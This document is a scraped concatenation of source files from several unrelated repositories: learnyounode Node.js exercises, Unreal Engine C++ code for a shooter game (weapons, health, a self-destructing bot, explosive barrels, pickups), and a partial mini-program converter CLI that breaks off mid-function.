<repo_name>Ykhankar/demoproject<file_sep>/index.js <script> console.log("hii How are You....Yogesh"); </script>
f5e0092b1c5650550676a5b87b2261bccc405108
[ "JavaScript" ]
1
JavaScript
Ykhankar/demoproject
78997a8f0a4f746bfefddf8a5717a56b40f018a8
3fb2dd0a8df21734f4830284354d3db657b47a1a
refs/heads/master
<file_sep>// My first aysnc i/o - same as above but doing it ayschronously, meaning using readfile() // as well as idiomatic Node.js callbacks var fs = require('fs'); fs.readFile(process.argv[2], 'utf8', function (err,data) { if (err) throw err; console.log(data.split('\n').length - 1); }<file_sep>// Learnyounode module // Baby steps - accepts one or more numbers as comand-line argument and logs the sum of those numbers /*logArray = process.argv; console.log(logArray.length); sum = 0; for (i = 2; i < logArray.length; i++) { //console.log(logArray[i]); sum += +logArray[i]; } console.log(sum);*/ // My first i/o - wrute a proram that uses a single syncrhronous filesystem operation to read a file and print the number of // newlines it contains to the console /*var fs = require('fs') var text = fs.readFileSync(process.argv[2]); console.log(text.toString().split('\n').length - 1);*/ // My first aysnc i/o - same as above but doing it ayschronously, meaning using readfile() // as well as idiomatic Node.js callbacks /*var fs = require('fs'); fs.readFile(process.argv[2], 'utf8', function (err,data) { if (err) throw err; console.log(data.split('\n').length - 1); }*/ // Filtered LS - creates a program that prints a list of files in a given directory, filtered by the extension of the files /*var fs = require('fs'); var path = require('path'); fs.readdir(process.argv[2], function (err, list) { list.forEach(function (filename) { if (path.extname(filename) === '.'+ process.argv[3]) { console.log(filename); } }); });*/ // Make it modular - create a module that uses callbacks, handles errors, and exports a single function /* var filterDir = require('.filter/-dir'); var dirPath = process.argv[2], extension = process.argv[3]; filterDir(dirpath, extension, function ( err, list) { if (err){ console.log('An error happened when reading ' + dirPath); return err; } list.ForEach(function (filename) { console.log(filename); }); });*/ // HTTP client = performs an http get requrst to a url provided as the first command-line argument /* var http = require('http'); var url = process.argv[2]; http.get(url, function(response) { response.setEncoding('utf8'); response.on('data', function (data) { console.log(data); }); });*/ // npm install bl // http-collect - uses concat stream to collect all data from the server /* var concatStream = require('concat-stream'); var http = require('http'); var url = process.argv[2]; http.get(url, function (response) { response.setEncoding('utf8'); response.pip(concatStream(function (data) { console.log(data.length); console.log(data); })); });*/ // time-server : listens to tcp connecitons on the port providede by the first argument to the program var net = require('net'); var server = net.createServer(function (socket) { socket.end(getFormattedCurrentTime() + "\n"); }); server.listen(process.argv[2]); function getFormattedCurrentTime() { var now = new Date(); return [now.getFullYear(), formatNumber(now.getMonth() + 1), formatNumber(now.getDate())].join("-") + " " + [formatNumber(now.getHours()), formatNumber(now.getMinutes())].join(":"); } function formatNumber(number) { return number < 10 ? "0" + number : number; } <file_sep>// time-server : listens to tcp connecitons on the port providede by the first argument to the program var net = require('net'); var server = net.createServer(function (socket) { socket.end(getFormattedCurrentTime() + "\n"); }); server.listen(process.argv[2]); function getFormattedCurrentTime() { var now = new Date(); return [now.getFullYear(), formatNumber(now.getMonth() + 1), formatNumber(now.getDate())].join("-") + " " + [formatNumber(now.getHours()), formatNumber(now.getMinutes())].join(":"); } function formatNumber(number) { return number < 10 ? "0" + number : number; } <file_sep>// npm install bl // http-collect - uses concat stream to collect all data from the server var concatStream = require('concat-stream'); var http = require('http'); var url = process.argv[2]; http.get(url, function (response) { response.setEncoding('utf8'); response.pip(concatStream(function (data) { console.log(data.length); console.log(data); })); }); <file_sep>// Baby steps - accepts one or more numbers as command-line argument and logs the sum of those numbers logArray = process.argv; console.log(logArray.length); sum = 0; for (i = 2; i < logArray.length; i++) { //console.log(logArray[i]); sum += +logArray[i]; } console.log(sum);<file_sep>// My first i/o - wrute a proram that uses a single syncrhronous filesystem operation to read a file and print the number of // newlines it contains to the console var fs = require('fs') var text = fs.readFileSync(process.argv[2]); console.log(text.toString().split('\n').length - 1);
e174e3e80d5b765e95ff22fdc96e763bf853969e
[ "JavaScript" ]
6
JavaScript
kumarpav/learn-node
7623ee5f2d41ccde422c0b751257e463231ab716
41e82432139f1bb184ca069fe74799befeb9ad15
refs/heads/master
<repo_name>UnrealEngineRepos/BRGame<file_sep>/Source/BRGame/Public/SWeapon.h // Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "GameFramework/Actor.h" #include "SWeapon.generated.h" class USkeletalMeshComponent; class UDamageType; class UParticleSystem; class UAnimationAsset; USTRUCT() struct FWeaponData { GENERATED_USTRUCT_BODY() ///** inifite ammo for reloads */ //UPROPERTY(EditDefaultsOnly, Category = Ammo) //bool bInfiniteAmmo; ///** infinite ammo in clip, no reload required */ //UPROPERTY(EditDefaultsOnly, Category = Ammo) //bool bInfiniteClip; /** Clip size */ UPROPERTY(EditDefaultsOnly, Category = "Weapon") int32 ClipSize; /** Max ammo */ UPROPERTY(EditDefaultsOnly, Category = "Weapon") int32 MaxAmmo; /** Initial clips */ UPROPERTY(EditDefaultsOnly, Category = "Weapon") int32 InitialClips; /** Time between two consecutive shots */ UPROPERTY(EditDefaultsOnly, Category = "Weapon") float TimeBetweenShots; ///** Failsafe reload duration if weapon doesn't have any animation for it */ //UPROPERTY(EditDefaultsOnly, Category = WeaponStat) //float NoAnimReloadDuration; /** defaults */ FWeaponData() { /*bInfiniteAmmo = false; bInfiniteClip = false;*/ ClipSize = 30; MaxAmmo = 999; InitialClips = 2; TimeBetweenShots = 0.2f; //NoAnimReloadDuration = 1.0f; } }; UCLASS() class BRGAME_API ASWeapon : public AActor { GENERATED_BODY() public: // Sets default values for this actor's properties ASWeapon(); protected: virtual void BeginPlay() override; void PlayWeaponShotFX(FVector TraceEnd); void PlayImpactFX(EPhysicalSurface SurfaceType, FVector ImpactPoint); // Represents the visual element of all weapons UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Components") USkeletalMeshComponent* MeshComponent; UPROPERTY(EditDefaultsOnly, BlueprintReadOnly, Category = "Weapon") TSubclassOf<UDamageType> DamageType; UPROPERTY(VisibleDefaultsOnly, BlueprintReadOnly, Category = "Weapon") FName MuzzleSocketName; UPROPERTY(VisibleDefaultsOnly, BlueprintReadOnly, Category = "Weapon") FName TracerTargetName; UPROPERTY(VisibleDefaultsOnly, BlueprintReadOnly, Category = "Weapon") FName EjectionPortName; UPROPERTY(EditDefaultsOnly, BlueprintReadOnly, Category = "Weapon") UAnimationAsset* WeaponAnimation; /*UPROPERTY(EditDefaultsOnly, BlueprintReadOnly, Category = "Weapon") UParticleSystem* MuzzleFlashEffect;*/ UPROPERTY(EditDefaultsOnly, BlueprintReadOnly, Category = "Weapon") UParticleSystem* DefaultImpactEffect; UPROPERTY(EditDefaultsOnly, BlueprintReadOnly, Category = "Weapon") UParticleSystem* FleshImpactEffect; UPROPERTY(EditDefaultsOnly, BlueprintReadOnly, Category = "Weapon") UParticleSystem* BulletTracerEffect; UPROPERTY(EditDefaultsOnly, BlueprintReadOnly, Category = "Weapon") UParticleSystem* ShellEjectionEffect; UPROPERTY(EditDefaultsOnly, Category = "Weapon") TSubclassOf<UCameraShake> FireCameraShake; UPROPERTY(EditDefaultsOnly, Category = "Weapon") float BaseDamage; // Traces the world from pawn eyes to crosshair location virtual void Fire(); FTimerHandle TimerHandle_TimeBetweenShots; float LastTimeFired; // Bullets per minute fired by weapon UPROPERTY(EditDefaultsOnly, Category = "Weapon") float FireRate; // Derived from FireRate float TimeBetweenShots; public: void StartFire(); void StopFire(); }; <file_sep>/Source/BRGame/Private/Components/SHealthComponent.cpp // Fill out your copyright notice in the Description page of Project Settings. #include "SHealthComponent.h" // Sets default values for this component's properties USHealthComponent::USHealthComponent() { DefaultHealth = 100; } // Called when the game starts void USHealthComponent::BeginPlay() { Super::BeginPlay(); // Hooks the component to the owning actor AActor* MyOwner = GetOwner(); if (MyOwner != nullptr) { // Subscribes us to the component MyOwner->OnTakeAnyDamage.AddDynamic(this, &USHealthComponent::HandleTakeAnyDamage); } Health = DefaultHealth; } void USHealthComponent::HandleTakeAnyDamage(AActor* DamagedActor, float Damage, const UDamageType* DamageType, AController* InstigatedBy, AActor* DamageCauser) { if (Damage <= 0.f || bIsDead) { UE_LOG(LogTemp, Log, TEXT("Damage <= 0.f || bIsDead")); return; } /*if (DamageCauser != DamagedActor && IsFriendly(DamagedActor, DamageCauser))*/ /*if (DamageCauser != DamagedActor) { UE_LOG(LogTemp, Log, TEXT("DamageCauser != DamagedActor")); return; }*/ // Updates health clamped Health = FMath::Clamp(Health - Damage, 0.f, DefaultHealth); UE_LOG(LogTemp, Log, TEXT("HP Changed: %s"), *FString::SanitizeFloat(Health)); bIsDead = Health <= 0.0f; OnHealthChanged.Broadcast(this, Health, Damage, DamageType, InstigatedBy, DamageCauser); if (bIsDead) { /*ASGameMode* GameMode = Cast<ASGameMode>(GetWorld()->GetAuthGameMode()); if (GameMode) { GameMode->OnActorKilled.Broadcast(GetOwner(), DamageCauser, InstigatedBy); }*/ } } void USHealthComponent::Heal(float HealAmount) { if (HealAmount <= 0.f || Health <= 0.f) { return; } Health = FMath::Clamp(Health + HealAmount, 0.f, DefaultHealth); UE_LOG(LogTemp, Log, TEXT("HP Changed: %s (+%s)"), *FString::SanitizeFloat(Health), *FString::SanitizeFloat(HealAmount)); OnHealthChanged.Broadcast(this, Health, -HealAmount, nullptr, nullptr, nullptr); } <file_sep>/Source/BRGame/Private/AI/SFollowingBot.cpp // Fill out your copyright notice in the Description page of Project Settings. #include "SFollowingBot.h" #include "SHealthComponent.h" #include "SCharacter.h" #include "Components/SkeletalMeshComponent.h" #include "Components/StaticMeshComponent.h" #include "Kismet/GameplayStatics.h" #include "NavigationSystem.h" #include "NavigationPath.h" #include "DrawDebugHelpers.h" #include "Materials/MaterialInstanceDynamic.h" #include "Containers/Array.h" #include "Components/SphereComponent.h" #include "Sound/SoundCue.h" // Sets default values ASFollowingBot::ASFollowingBot() { // Set this pawn to call Tick() every frame. You can turn this off to improve performance if you don't need it. PrimaryActorTick.bCanEverTick = true; MeshComponent = CreateDefaultSubobject<UStaticMeshComponent>(TEXT("MeshComponent")); MeshComponent->SetCanEverAffectNavigation(false); MeshComponent->SetSimulatePhysics(true); RootComponent = MeshComponent; HealthComponent = CreateDefaultSubobject<USHealthComponent>(TEXT("HealthComponent")); // Subscribes to OnHealthChanged HealthComponent->OnHealthChanged.AddDynamic(this, &ASFollowingBot::HandleTakeDamage); SphereComponent = CreateDefaultSubobject<USphereComponent>(TEXT("SphereComponent")); SphereComponent->SetSphereRadius(180.f); SphereComponent->SetCollisionEnabled(ECollisionEnabled::QueryOnly); SphereComponent->SetCollisionResponseToAllChannels(ECR_Ignore); SphereComponent->SetCollisionResponseToChannel(ECC_Pawn, ECR_Overlap); SphereComponent->SetupAttachment(RootComponent); bUseVelocityChange = false; MovementForce = 1000.f; RequiredDistanceToTarget = 100.f; ExplosionDamage = 80.f; ExplosionRadius = 260.f; SelfDestructionInterval = 0.4f; } // Called when the game starts or when spawned void ASFollowingBot::BeginPlay() { Super::BeginPlay(); // Find initial move to NextPathPoint = GetNextPathPoint(); } void ASFollowingBot::HandleTakeDamage(USHealthComponent* OwningHealthComponent, float Health, float HealthDelta, const UDamageType* DamageType, AController* InstigatedBy, AActor* DamageCauser) { // Explode on hitpoints == 0 // Pulses the material on hit if (MaterialInstance == nullptr) { MaterialInstance = MeshComponent->CreateAndSetMaterialInstanceDynamicFromMaterial(0, MeshComponent->GetMaterial(0)); } if (MaterialInstance != nullptr) { MaterialInstance->SetScalarParameterValue("LastTimeDamageTaken", GetWorld()->TimeSeconds); } UE_LOG(LogTemp, Log, TEXT("%s HP: %s"), *GetName(), *FString::SanitizeFloat(Health)); if (Health <= 0.f) { SelfDestruct(); } } FVector ASFollowingBot::GetNextPathPoint() { //AActor* BestTarget = nullptr; //float NearestTargetDistance = FLT_MAX; //for (FConstPawnIterator It = GetWorld()->GetPawnIterator(); It; It++) //{ // APawn* TestPawn = It->Get(); // /*if (TestPawn == nullptr || USHealthComponent::IsFriendly(TestPawn, this)) // { // continue; // }*/ // USHealthComponent* TestPawnHealthComp = Cast<USHealthComponent>(TestPawn->GetComponentByClass(USHealthComponent::StaticClass())); // //if (TestPawnHealthComp && TestPawnHealthComp->GetHealth() > 0.0f) // if (TestPawnHealthComp) // { // float Distance = (TestPawn->GetActorLocation() - GetActorLocation()).Size(); // if (Distance < NearestTargetDistance) // { // BestTarget = TestPawn; // NearestTargetDistance = Distance; // } // } //} //if (BestTarget) //{ // UNavigationPath* NavigationPath = UNavigationSystemV1::FindPathToActorSynchronously(this, GetActorLocation(), BestTarget); // /*GetWorldTimerManager().ClearTimer(TimerHandle_RefreshPath); // GetWorldTimerManager().SetTimer(TimerHandle_RefreshPath, this, &ASTrackerBot::RefreshPath, 5.0f, false);*/ // if (NavigationPath && NavigationPath->PathPoints.Num() > 1) // { // // Return next point in the path // return NavigationPath->PathPoints[1]; // } //} //// Failed to find path //return GetActorLocation(); // Gets player's location ACharacter* PlayerPawn = UGameplayStatics::GetPlayerCharacter(this, 0); UNavigationPath* NavigationPath = UNavigationSystemV1::FindPathToActorSynchronously(this, GetActorLocation(), PlayerPawn); if (NavigationPath != nullptr && NavigationPath->PathPoints.Num() > 1) { // Returns next point in the path return NavigationPath->PathPoints[1]; } // Failed to find path return GetActorLocation(); } void ASFollowingBot::SelfDestruct() { if (bExploded == true) { return; } bExploded = true; UGameplayStatics::SpawnEmitterAtLocation(GetWorld(), ExplosionEffect, GetActorLocation()); TArray<AActor*> IgnoredActors; IgnoredActors.Add(this); // Applies damage UGameplayStatics::ApplyRadialDamage(this, ExplosionDamage, GetActorLocation(), ExplosionRadius, nullptr, IgnoredActors, this, GetInstigatorController(), true); DrawDebugSphere(GetWorld(), GetActorLocation(), ExplosionRadius, 12, FColor::Silver, false, 2.f, 0, 1.f); UGameplayStatics::PlaySoundAtLocation(this, ExplosionSound, GetActorLocation()); // Deletes actor Destroy(); } void ASFollowingBot::DamageSelf() { UGameplayStatics::ApplyDamage(this, 20, GetInstigatorController(), this, nullptr); } // Called every frame void ASFollowingBot::Tick(float DeltaTime) { Super::Tick(DeltaTime); float DistanceToTarget = (GetActorLocation() - NextPathPoint).Size(); if (DistanceToTarget <= RequiredDistanceToTarget) { NextPathPoint = GetNextPathPoint(); //DrawDebugString(GetWorld(), GetActorLocation(), "Vlad's mom is coming!"); } else { // Keep moving towards next target FVector ForceDirection = NextPathPoint - GetActorLocation(); ForceDirection.Normalize(); ForceDirection *= MovementForce; MeshComponent->AddForce(ForceDirection, NAME_None, bUseVelocityChange); DrawDebugDirectionalArrow(GetWorld(), GetActorLocation(), GetActorLocation() + ForceDirection, 16, FColor::Orange, false, 0.f, 0, 1.f); } DrawDebugSphere(GetWorld(), NextPathPoint, 12, 12, FColor::Orange, false, 0.f, 1.f); } void ASFollowingBot::NotifyActorBeginOverlap(AActor* OtherActor) { if (bStartedSelfDestruction == false) { ASCharacter* PlayerPawn = Cast<ASCharacter>(OtherActor); if (PlayerPawn != nullptr) { // Overlapped with the player pawn // Starts self destruction sequence GetWorldTimerManager().SetTimer(TimerHandle_SelfDamage, this, &ASFollowingBot::DamageSelf, SelfDestructionInterval, true, 0.f); bStartedSelfDestruction = true; // Using SpawnSoundAttached instead of PlayAtLocation because the ball will be moving while playing the sound UGameplayStatics::SpawnSoundAttached(SelfDestructionSound, RootComponent); } } } <file_sep>/README.md # BRGame Developed with Unreal Engine 4 <file_sep>/Source/BRGame/BRGame.cpp // Copyright 1998-2019 Epic Games, Inc. All Rights Reserved. #include "BRGame.h" #include "Modules/ModuleManager.h" IMPLEMENT_PRIMARY_GAME_MODULE( FDefaultGameModuleImpl, BRGame, "BRGame" ); <file_sep>/Source/BRGame/Private/SCollectableItemActor.cpp // Fill out your copyright notice in the Description page of Project Settings. #include "SCollectableItemActor.h" // Sets default values ASCollectableItemActor::ASCollectableItemActor() { CollectableItemInterval = 0.f; TicksNum = 0; bIsCollectableItemActive = false; } // Called when the game starts or when spawned void ASCollectableItemActor::BeginPlay() { Super::BeginPlay(); } void ASCollectableItemActor::ActivateCollectableItem() { OnActivated(); if (CollectableItemInterval > 0.f) { GetWorldTimerManager().SetTimer(TimerHandle_CollectableItemTick, this, &ASCollectableItemActor::OnTickCollectableItem, CollectableItemInterval, true); } else { OnTickCollectableItem(); } } void ASCollectableItemActor::OnTickCollectableItem() { TicksProcessed += 1; OnCollectableItemTicked(); if (TicksProcessed >= TicksNum) { OnExpired(); bIsCollectableItemActive = false; // Deletes timer GetWorldTimerManager().ClearTimer(TimerHandle_CollectableItemTick); } } <file_sep>/Source/BRGame/Private/SWeapon.cpp // Fill out your copyright notice in the Description page of Project Settings. #include "SWeapon.h" #include "BRGame.h" #include "Components/SkeletalMeshComponent.h" #include "DrawDebugHelpers.h" #include "Kismet/GameplayStatics.h" #include "Particles/ParticleSystem.h" #include "Components/SkeletalMeshComponent.h" #include "Particles/ParticleSystemComponent.h" #include "PhysicalMaterials/PhysicalMaterial.h" #include "Animation/AnimationAsset.h" static int32 DebugWeaponDrawing = 0; FAutoConsoleVariableRef CVARDebugWeaponDrawing( TEXT("BRGAME.DebugWeapons"), DebugWeaponDrawing, TEXT("Draw Debug Lines for Weapons"), ECVF_Cheat); // Sets default values ASWeapon::ASWeapon() { MeshComponent = CreateDefaultSubobject<USkeletalMeshComponent>(TEXT("MeshComponent")); RootComponent = MeshComponent; MuzzleSocketName = "MuzzleFlash"; TracerTargetName = "BeamEnd"; EjectionPortName = "AmmoEject"; BaseDamage = 31.f; FireRate = 480; } void ASWeapon::BeginPlay() { Super::BeginPlay(); TimeBetweenShots = 60 / FireRate; } void ASWeapon::Fire() { AActor* MyOwner = GetOwner(); if (MyOwner != nullptr) { FVector EyeLocation; FRotator EyeRotation; MyOwner->GetActorEyesViewPoint(EyeLocation, EyeRotation); FVector ShotDirection = EyeRotation.Vector(); FVector TraceEnd = EyeLocation + (20000 * ShotDirection); FCollisionQueryParams QueryParams; // Ignores the owner and the weapon QueryParams.AddIgnoredActor(MyOwner); QueryParams.AddIgnoredActor(this); // Traces against each individual triangle of the mesh that we're hitting; more precise QueryParams.bTraceComplex = true; QueryParams.bReturnPhysicalMaterial = true; // Target parameter for particles FVector TracerEndPoint = TraceEnd; // Holds all of the data (what was hit, how far it was) FHitResult Hit; if (GetWorld()->LineTraceSingleByChannel(Hit, EyeLocation, TraceEnd, COLLISION_WEAPON, QueryParams) == true) { // Processes damage AActor* HitActor = Hit.GetActor(); //SurfaceType = UPhysicalMaterial::DetermineSurfaceType(Hit.PhysMaterial.Get()); //float ActualDamage = BaseDamage; //if (SurfaceType == SURFACE_FLESHVULNERABLE) //{ // ActualDamage *= 4.0f; //} // TODO delete //UE_LOG(LogTemp, Warning, TEXT("-50HP")); // Gets the surface type EPhysicalSurface SurfaceType = UPhysicalMaterial::DetermineSurfaceType(Hit.PhysMaterial.Get()); float ActualDamage = BaseDamage; if (SurfaceType == SURFACE_FLESHVULNERABLE) { ActualDamage *= 4.f; } UGameplayStatics::ApplyPointDamage(HitActor, ActualDamage, ShotDirection, Hit, MyOwner->GetInstigatorController(), MyOwner, DamageType); PlayImpactFX(SurfaceType, Hit.ImpactPoint); TracerEndPoint = Hit.ImpactPoint; } if (DebugWeaponDrawing > 0) { DrawDebugLine(GetWorld(), EyeLocation, TraceEnd, FColor::Yellow, false, 1.0f, 0, 1.0f); } PlayWeaponShotFX(TracerEndPoint); LastTimeFired = GetWorld()->TimeSeconds; /*PlayFireEffects(TracerEndPoint); if (Role == ROLE_Authority) { HitScanTrace.TraceTo = TracerEndPoint; HitScanTrace.SurfaceType = SurfaceType; } LastFireTime = GetWorld()->TimeSeconds;*/ } } void ASWeapon::StartFire() { // To avoid LMB spamming to shoot faster float FirstDelay = FMath::Max(LastTimeFired + TimeBetweenShots - GetWorld()->TimeSeconds, 0.f); GetWorldTimerManager().SetTimer(TimerHandle_TimeBetweenShots, this, &ASWeapon::Fire, TimeBetweenShots, true, FirstDelay); } void ASWeapon::StopFire() { GetWorldTimerManager().ClearTimer(TimerHandle_TimeBetweenShots); } void ASWeapon::PlayWeaponShotFX(FVector TraceEnd) { MeshComponent->PlayAnimation(WeaponAnimation, false); /*if (MuzzleFlashEffect != nullptr) { UGameplayStatics::SpawnEmitterAttached(MuzzleFlashEffect, MeshComponent, MuzzleSocketName); }*/ if (BulletTracerEffect != nullptr) { FVector MuzzleLocation = MeshComponent->GetSocketLocation(MuzzleSocketName); UParticleSystemComponent* TracerComponent = UGameplayStatics::SpawnEmitterAtLocation(GetWorld(), BulletTracerEffect, MuzzleLocation); if (TracerComponent != nullptr) { TracerComponent->SetVectorParameter(TracerTargetName, TraceEnd); } } if (ShellEjectionEffect != nullptr) { UGameplayStatics::SpawnEmitterAttached(ShellEjectionEffect, MeshComponent, EjectionPortName); } // Camera shake effect while firing APawn* MyOwner = Cast<APawn>(GetOwner()); if (MyOwner != nullptr) { APlayerController* PlayerController = Cast<APlayerController>(MyOwner->GetController()); if (PlayerController != nullptr) { PlayerController->ClientPlayCameraShake(FireCameraShake); } } } void ASWeapon::PlayImpactFX(EPhysicalSurface SurfaceType, FVector ImpactPoint) { UParticleSystem* SelectedEffect = nullptr; switch (SurfaceType) { case SURFACE_FLESHDEFAULT: case SURFACE_FLESHVULNERABLE: SelectedEffect = FleshImpactEffect; break; default: SelectedEffect = DefaultImpactEffect; break; } if (SelectedEffect != nullptr) { FVector MuzzleLocation = MeshComponent->GetSocketLocation(MuzzleSocketName); FVector ShotDirection = ImpactPoint - MuzzleLocation; ShotDirection.Normalize(); UGameplayStatics::SpawnEmitterAtLocation(GetWorld(), SelectedEffect, ImpactPoint, ShotDirection.Rotation()); } } <file_sep>/Source/BRGame/Private/SExplosiveBarrel.cpp // Fill out your copyright notice in the Description page of Project Settings. #include "SExplosiveBarrel.h" #include "SHealthComponent.h" #include "Components/SkeletalMeshComponent.h" #include "Kismet/GameplayStatics.h" #include "PhysicsEngine/RadialForceComponent.h" // Sets default values ASExplosiveBarrel::ASExplosiveBarrel() { HealthComponent = CreateDefaultSubobject<USHealthComponent>(TEXT("HealthComponent")); HealthComponent->OnHealthChanged.AddDynamic(this, &ASExplosiveBarrel::OnHealthChanged); MeshComponent = CreateDefaultSubobject<UStaticMeshComponent>(TEXT("MeshComponent")); MeshComponent->SetSimulatePhysics(true); // Set to physics body to let radial component affect us (eg. when a nearby barrel explodes) MeshComponent->SetCollisionObjectType(ECC_PhysicsBody); RootComponent = MeshComponent; RadialForceComponent = CreateDefaultSubobject<URadialForceComponent>(TEXT("RadialForceComponent")); RadialForceComponent->SetupAttachment(MeshComponent); RadialForceComponent->Radius = 400; RadialForceComponent->bImpulseVelChange = true; // Triggers only on FireImpulse(), not on tick RadialForceComponent->bAutoActivate = false; // Ignores itself RadialForceComponent->bIgnoreOwningActor = true; ExplosionImpulse = 1200; SetReplicates(true); SetReplicateMovement(true); } void ASExplosiveBarrel::OnHealthChanged(USHealthComponent* OwningHealthComponent, float Health, float HealthDelta, const class UDamageType* DamageType, class AController* InstigatedBy, AActor* DamageCauser) { if (bExploded == true) { // Nothing left to do, already exploded. return; } if (Health <= 0.f) { // Explode! bExploded = true; // Boosts the barrel upwards FVector BoostIntensity = FVector::UpVector * ExplosionImpulse; MeshComponent->AddImpulse(BoostIntensity, NAME_None, true); // Spawns particle effect and changes barrel's material to black UGameplayStatics::SpawnEmitterAtLocation(GetWorld(), ExplosionEffect, GetActorLocation()); // Overrides material on mesh with blackened version MeshComponent->SetMaterial(0, ExplodedMaterial); // Blasts away nearby physics actors RadialForceComponent->FireImpulse(); } }<file_sep>/Source/BRGame/Private/SPickupActor.cpp // Fill out your copyright notice in the Description page of Project Settings. #include "SPickupActor.h" #include "Components/SphereComponent.h" #include "Components/DecalComponent.h" #include "SCollectableItemActor.h" #include "TimerManager.h" // Sets default values ASPickupActor::ASPickupActor() { SphereComponent = CreateDefaultSubobject<USphereComponent>(TEXT("SphereComponent")); SphereComponent->SetSphereRadius(75.0f); RootComponent = SphereComponent; DecalComponent = CreateDefaultSubobject<UDecalComponent>(TEXT("DecalComponent")); DecalComponent->SetRelativeRotation(FRotator(90, 0.0f, 0.0f)); DecalComponent->DecalSize = FVector(64, 75, 75); DecalComponent->SetupAttachment(RootComponent); CooldownDuration = 10.f; } // Called when the game starts or when spawned void ASPickupActor::BeginPlay() { Super::BeginPlay(); Respawn(); } void ASPickupActor::Respawn() { if (CollectableItemClass == nullptr) { UE_LOG(LogTemp, Warning, TEXT("CollectableItemClass is nullptr in %s. Please update your Blueprint"), *GetName()); return; } FActorSpawnParameters SpawnParameters; SpawnParameters.SpawnCollisionHandlingOverride = ESpawnActorCollisionHandlingMethod::AlwaysSpawn; CollectableItemInstance = GetWorld()->SpawnActor<ASCollectableItemActor>(CollectableItemClass, GetTransform(), SpawnParameters); } void ASPickupActor::NotifyActorBeginOverlap(AActor* OtherActor) { Super::NotifyActorBeginOverlap(OtherActor); if (CollectableItemInstance != nullptr) { CollectableItemInstance->ActivateCollectableItem(); CollectableItemInstance = nullptr; // Sets Timer to respawn Collectable Item GetWorldTimerManager().SetTimer(TimerHandle_RespawnTimer, this, &ASPickupActor::Respawn, CooldownDuration); } } <file_sep>/Source/BRGame/Public/SCollectableItemActor.h // Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "GameFramework/Actor.h" #include "SCollectableItemActor.generated.h" UCLASS() class BRGAME_API ASCollectableItemActor : public AActor { GENERATED_BODY() public: // Sets default values for this actor's properties ASCollectableItemActor(); protected: // Called when the game starts or when spawned virtual void BeginPlay() override; // Time between powerup ticks UPROPERTY(EditDefaultsOnly, Category = "CollectableItems") float CollectableItemInterval; // Total times the effect is applied UPROPERTY(EditDefaultsOnly, Category = "CollectableItems") int32 TicksNum; // Keeps state of the power-up bool bIsCollectableItemActive; FTimerHandle TimerHandle_CollectableItemTick; // Total number of ticks applied int32 TicksProcessed; UFUNCTION() void OnTickCollectableItem(); public: void ActivateCollectableItem(); UFUNCTION(BlueprintImplementableEvent, Category = "CollectableItems") void OnActivated(); UFUNCTION(BlueprintImplementableEvent, Category = "CollectableItems") void OnCollectableItemTicked(); UFUNCTION(BlueprintImplementableEvent, Category = "CollectableItems") void OnExpired(); }; <file_sep>/Source/BRGame/Public/SCharacter.h // Fill out your copyright notice in the Description page of Project Settings. #pragma once #include "CoreMinimal.h" #include "GameFramework/Character.h" #include "SCharacter.generated.h" class UCameraComponent; class USpringArmComponent; class ASWeapon; class USHealthComponent; UCLASS() class BRGAME_API ASCharacter : public ACharacter { GENERATED_BODY() public: // Sets default values for this character's properties ASCharacter(); protected: // Called when the game starts or when spawned virtual void BeginPlay() override; // Axis function to move forward void MoveForward(float Speed); // Axis function to move right void MoveRight(float Speed); // Adds binding to crouch void StartCrouching(); // Adds binding to uncrouch void StopCrouching(); // Adds binding to jump void Jump1(); // Adds binding to stop jumping void StopJumping1(); UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Components") USpringArmComponent* SpringArmComponent; UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Components") UCameraComponent* CameraComponent; UPROPERTY(VisibleAnywhere, BlueprintReadOnly, Category = "Components") USHealthComponent* HealthComponent; bool bWantsToZoom; // FOV set when you start playing float DefaultFOV; // FOV set When you press RMB UPROPERTY(EditDefaultsOnly, Category = "Player") float AltFireFOV; UPROPERTY(EditDefaultsOnly, Category = "Player", meta = (ClampMin = 0.1, ClampMax = 100)) float AltFireInterpSpeed; // Toggles zoom void BeginZoom(); void EndZoom(); ASWeapon* CurrentWeapon; // The class the character spawns with UPROPERTY(EditDefaultsOnly, Category = "Player") TSubclassOf<ASWeapon> StarterWeaponClass; UPROPERTY(VisibleDefaultsOnly, Category = "Player") FName WeaponAttachSocketName; // Starts firing the current weapon void StartFire(); void StopFire(); UFUNCTION() void OnHealthChanged(USHealthComponent* OwningHealthComponent, float Health, float HealthDelta, const class UDamageType* DamageType, class AController* InstigatedBy, AActor* DamageCauser); // Pawn died previously UPROPERTY(BlueprintReadOnly, Category = "Player") bool bDied; public: // Called every frame virtual void Tick(float DeltaTime) override; // Called to bind functionality to input virtual void SetupPlayerInputComponent(class UInputComponent* PlayerInputComponent) override; // Returns camera component's location instead of pawn's eyes location virtual FVector GetPawnViewLocation() const override; };
3f9792d3e9445855c132b6a343cbfb40fa85b237
[ "Markdown", "C++" ]
11
C++
UnrealEngineRepos/BRGame
ad0370efe8094de5b28e0c0bc6d8c6cc21ed91b1
1385d2f1b0e2c327948e285d1b567dfb67c9cfb2
refs/heads/master
<repo_name>ccpend/mp-converter<file_sep>/src/build.js import Compile from './compile' exports = module.exports = function(options){ let compile = new Compile(options); compile.build(); } <file_sep>/src/command.js #!/usr/bin/env node import program from 'commander' ; program .version(require('../package.json').version, '-v, --version') .usage('<command> [options]'); program .command('build') .description('build your project') .action(require('./build')) .option('-f, --from <from>') .option('-t, --target <target>') .option('-o, --output <output>'); program.parse(process.argv); <file_sep>/src/utils.js import path from 'path'; import fs from 'fs'; import cache from './cache'; const currentDir = process.cwd(); function getFiles(dir = process.cwd(), prefix = '') { dir = path.normalize(dir); if (!fs.existsSync(dir)) { return []; } let files = fs.readdirSync(dir); files = files.filter((f) => f !== 'dist'); let rst = []; files.forEach((item) => { let filepath = dir + path.sep + item; let stat = fs.statSync(filepath); if (stat.isFile()) { rst.push(prefix + item); } else if (stat.isDirectory()) { rst = rst.concat(getFiles(path.normalize(dir + path.sep + item), path.normalize(prefix + item + path.sep))); } }); return rst; } function getConfig() { let configFile = path.join(currentDir, path.sep, 'mpc.config.js'); let config; if (configFile) { config = require(configFile); } return config; } function getXMLSuffix(mpType) { return mpType === 'wx' ? '.wxml' : mpType === 'baidu' ? '.css' : '.axml'; } function 